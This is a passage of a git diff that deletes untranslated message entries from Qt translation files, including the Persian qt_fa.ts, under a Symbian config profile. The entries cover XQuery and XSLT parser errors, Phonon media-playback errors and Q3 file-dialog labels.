- <location filename="../src/xmlpatterns/janitors/qcardinalityverifier.cpp" line="+58"/>
- <source>Required cardinality is %1; got cardinality %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/janitors/qitemverifier.cpp" line="+67"/>
- <source>The item %1 did not match the required type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+379"/>
- <location line="+7253"/>
- <source>%1 is an unknown schema type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-6971"/>
- <source>Only one %1 declaration can occur in the query prolog.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+188"/>
- <source>The initialization of variable %1 depends on itself</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>No variable by name %1 exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qparsercontext.cpp" line="+93"/>
- <source>The variable %1 is unused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qquerytransformparser.cpp" line="+2841"/>
- <source>Version %1 is not supported. The supported XQuery version is 1.0.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+55"/>
- <source>No function with signature %1 is available</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+72"/>
- <location line="+10"/>
- <source>A default namespace declaration must occur before function, variable, and option declarations.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Namespace declarations must occur before function, variable, and option declarations.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Module imports must occur before function, variable, and option declarations.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+200"/>
- <source>It is not possible to redeclare prefix %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Prefix %1 is already declared in the prolog.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+95"/>
- <source>The name of an option must have a prefix. There is no default namespace for options.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+171"/>
- <source>The Schema Import feature is not supported, and therefore %1 declarations cannot occur.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>The target namespace of a %1 cannot be empty.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>The module import feature is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+52"/>
- <source>No value is available for the external variable by name %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-4154"/>
- <source>A construct was encountered which only is allowed in XQuery.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+118"/>
- <source>A template by name %1 has already been declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3581"/>
- <source>The keyword %1 cannot occur with any other mode name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+29"/>
- <source>The value of attribute %1 must of type %2, which %3 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+75"/>
- <source>The prefix %1 can not be bound. By default, it is already bound to the namespace %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+312"/>
- <source>A variable by name %1 has already been declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+135"/>
- <source>A stylesheet function must have a prefixed name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>The namespace of a user defined function in a library module must be equivalent to the module namespace. In other words, it should be %1 instead of %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+34"/>
- <source>A function already exists with the signature %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>No external functions are supported. All supported functions can be used directly, without first declaring them as external</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+37"/>
- <source>An argument by name %1 has already been declared. Every argument name must be unique.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+179"/>
- <source>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>In an XSL-T pattern, function %1 cannot have a third argument.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+126"/>
- <source>%1 is an invalid template mode name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+44"/>
- <source>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+758"/>
- <source>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+39"/>
- <source>None of the pragma expressions are supported. Therefore, a fallback expression must be present</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+267"/>
- <source>Each name of a template parameter must be unique; %1 is duplicated.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+129"/>
- <source>The %1-axis is unsupported in XQuery</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1150"/>
- <source>%1 is not a valid name for a processing-instruction.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-7029"/>
- <source>%1 is not a valid numeric literal.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6165"/>
- <source>No function by name %1 is available.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+102"/>
- <source>The namespace URI cannot be the empty string when binding to a prefix, %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>%1 is an invalid namespace URI.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>It is not possible to bind to the prefix %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Two namespace declaration attributes have the same name: %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+89"/>
- <source>The namespace URI must be a constant and cannot use enclosed expressions.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>An attribute by name %1 has already appeared on this element.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+61"/>
- <source>A direct element constructor is not well-formed. %1 is ended with %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+458"/>
- <source>The name %1 does not refer to any schema type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>%1 is not an atomic type. Casting is only possible to atomic types.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+145"/>
- <location line="+71"/>
- <source>%1 is not in the in-scope attribute declarations. Note that the schema import feature is not supported.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+48"/>
- <source>The name of an extension expression must be in a namespace.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/type/qcardinality.cpp" line="+55"/>
- <source>empty</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>zero or one</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>exactly one</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>one or more</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>zero or more</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/type/qtypechecker.cpp" line="+63"/>
- <source>Required type is %1, but %2 was found.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+44"/>
- <source>Promoting %1 to %2 may cause loss of precision.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+49"/>
- <source>The focus is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/utils/qoutputvalidator.cpp" line="+86"/>
- <source>It&apos;s not possible to add attributes after any other kind of node.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>An attribute by name %1 has already been created.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/utils/qxpathhelper_p.h" line="+120"/>
- <source>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/acceltree/qacceltreeresourceloader.cpp" line="+314"/>
- <source>%1 is an unsupported encoding.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>%1 contains octets which are disallowed in the requested encoding %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qapplytemplate.cpp" line="+119"/>
- <source>Ambiguous rule match.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcomputednamespaceconstructor.cpp" line="+69"/>
- <source>In a namespace constructor, the value for a namespace cannot be an empty string.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>The prefix must be a valid %1, which %2 is not.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>The prefix %1 cannot be bound.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Only the prefix %1 can be bound to %2 and vice versa.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qevaluationcache.cpp" line="+117"/>
- <source>Circularity detected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qtemplate.cpp" line="+145"/>
- <source>The parameter %1 is required, but no corresponding %2 is supplied.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-71"/>
- <source>The parameter %1 is passed, but no corresponding %2 exists.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qunparsedtextfn.cpp" line="+65"/>
- <source>The URI cannot have a fragment</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+519"/>
- <source>Element %1 is not allowed at this location.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Text nodes are not allowed at this location.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Parse error: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+62"/>
- <source>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+108"/>
- <source>Unknown XSL-T attribute %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Attribute %1 and %2 are mutually exclusive.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+166"/>
- <source>In a simplified stylesheet module, attribute %1 must be present.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+72"/>
- <source>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Element %1 must have at least one of the attributes %2 or %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+28"/>
- <source>At least one mode must be specified in the %1-attribute on element %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qmaintainingreader.cpp" line="+183"/>
- <source>Attribute %1 cannot appear on the element %2. Only the standard attributes can appear.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Attribute %1 cannot appear on the element %2. Only %3 is allowed, and the standard attributes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Attribute %1 cannot appear on the element %2. Allowed is %3, %4, and the standard attributes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Attribute %1 cannot appear on the element %2. Allowed is %3, and the standard attributes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>XSL-T attributes on XSL-T elements must be in the null namespace, not in the XSL-T namespace which %1 is.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>The attribute %1 must appear on element %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>The element with local name %1 does not exist in XSL-T.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/parser/qxslttokenizer.cpp" line="+123"/>
- <source>Element %1 must come last.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+24"/>
- <source>At least one %1-element must occur before %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Only one %1-element can appear.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <source>At least one %1-element must occur inside %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+58"/>
- <source>When attribute %1 is present on %2, a sequence constructor cannot be used.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Element %1 must have either a %2-attribute or a sequence constructor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+125"/>
- <source>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+270"/>
- <source>Element %1 cannot have children.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+434"/>
- <source>Element %1 cannot have a sequence constructor.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+86"/>
- <location line="+9"/>
- <source>The attribute %1 cannot appear on %2, when it is a child of %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>A parameter in a function cannot be declared to be a tunnel.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+149"/>
- <source>This processor is not Schema-aware and therefore %1 cannot be used.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+57"/>
- <source>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+48"/>
- <source>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Attribute %1 cannot have the value %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+58"/>
- <source>The attribute %1 can only appear on the first %2 element.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+99"/>
- <source>At least one %1 element must appear as child of %2.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>VolumeSlider</name>
- <message>
- <location filename="../src/3rdparty/phonon/phonon/volumeslider.cpp" line="+67"/>
- <source>Muted</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <location line="+15"/>
- <source>Volume: %1%</source>
- <translation type="unfinished"></translation>
- </message>
</context>
</TS>
diff --git a/config.profiles/symbian/translations/qt_fa.ts b/config.profiles/symbian/translations/qt_fa.ts
index d876a9d..386480e 100644
--- a/config.profiles/symbian/translations/qt_fa.ts
+++ b/config.profiles/symbian/translations/qt_fa.ts
@@ -2,8506 +2,12 @@
<!DOCTYPE TS>
<TS version="2.0" language="fa">
- <context>
- <name>CloseButton</name>
- <message>
- <source>Close Tab</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>FakeReply</name>
- <message>
- <source>Fake error !</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid URL</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::</name>
- <message>
- <source>Notifications</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Music</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Video</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Communication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Games</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Accessibility</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::AudioOutput</name>
- <message>
- <source>&lt;html&gt;The audio playback device &lt;b&gt;%1&lt;/b&gt; does not work.&lt;br/&gt;Falling back to &lt;b&gt;%2&lt;/b&gt;.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&lt;html&gt;Switching to the audio playback device &lt;b&gt;%1&lt;/b&gt;&lt;br/&gt;which just became available and has higher preference.&lt;/html&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Revert back to device &apos;%1&apos;</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::Gstreamer::Backend</name>
- <message>
- <source>Warning: You do not seem to have the package gstreamer0.10-plugins-good installed.
- Some video features have been disabled.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Warning: You do not seem to have the base GStreamer plugins installed.
- All audio and video support has been disabled</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::Gstreamer::MediaObject</name>
- <message>
- <source>Cannot start playback.
-
-Check your GStreamer installation and make sure you
-have libgstreamer-plugins-base installed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>A required codec is missing. You need to install the following codec(s) to play this content: %0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not open media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid source type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not locate media source.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not open audio device. The device is already in use.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not decode media source.</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF</name>
- <message>
- <source>Audio Output</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The audio output device</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>No error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Out of memory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Overflow</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Underflow</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Path not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>In use</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Not ready</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Access denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Disconnected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Insufficient bandwidth</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Network unavailable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Network communication error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Streaming not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Server alert</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid protocol</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Invalid URL</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Multicast error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Proxy server error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Proxy server not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Audio output error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Video output error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Decoder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Audio or video components could not be played</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>DRM error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Unknown error (%1)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::AbstractMediaPlayer</name>
- <message>
- <source>Not ready to play</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error opening file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error opening URL</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Setting volume failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Playback complete</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::AudioEqualizer</name>
- <message>
- <source>%1 Hz</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::AudioPlayer</name>
- <message>
- <source>Getting position failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Opening clip failed</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::EffectFactory</name>
- <message>
- <source>Enabled</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::EnvironmentalReverb</name>
- <message>
- <source>Decay HF ratio (%)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Decay time (ms)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Density (%)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Diffusion (%)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reflections delay (ms)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reflections level (mB)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reverb delay (ms)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Reverb level (mB)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Room HF level</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Room level (mB)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::MediaObject</name>
- <message>
- <source>Error opening source: type not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error opening source: media type could not be determined</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::StereoWidening</name>
- <message>
- <source>Level (%)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::MMF::VideoPlayer</name>
- <message>
- <source>Pause failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Seek failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Getting position failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Opening clip failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Buffering clip failed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Video display error</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Phonon::VolumeSlider</name>
- <message>
- <source>Volume: %1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Use this slider to adjust the volume. The leftmost position is 0%, the rightmost is %1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Muted</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3Accel</name>
- <message>
- <source>%1, %2 not defined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Ambiguous %1 not handled</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3DataTable</name>
- <message>
- <source>True</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>False</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Insert</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Update</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Delete</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3FileDialog</name>
- <message>
- <source>Copy or Move a File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Read: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Write: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>All Files (*)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Type</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Attributes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;OK</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Look &amp;in:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>File &amp;name:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>File &amp;type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>One directory up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Create New Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>List View</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Detail View</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Preview File Info</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Preview File Contents</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Read-write</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Read-only</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Write-only</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Inaccessible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Symlink to File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Symlink to Directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Symlink to Special</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Dir</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Special</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Open</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Save As</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Open</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Save</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Delete</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>R&amp;eload</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Sort by &amp;Name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Sort by &amp;Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Sort by &amp;Date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Unsorted</source>
- <translation type="unfinished"></translation>
- </message>
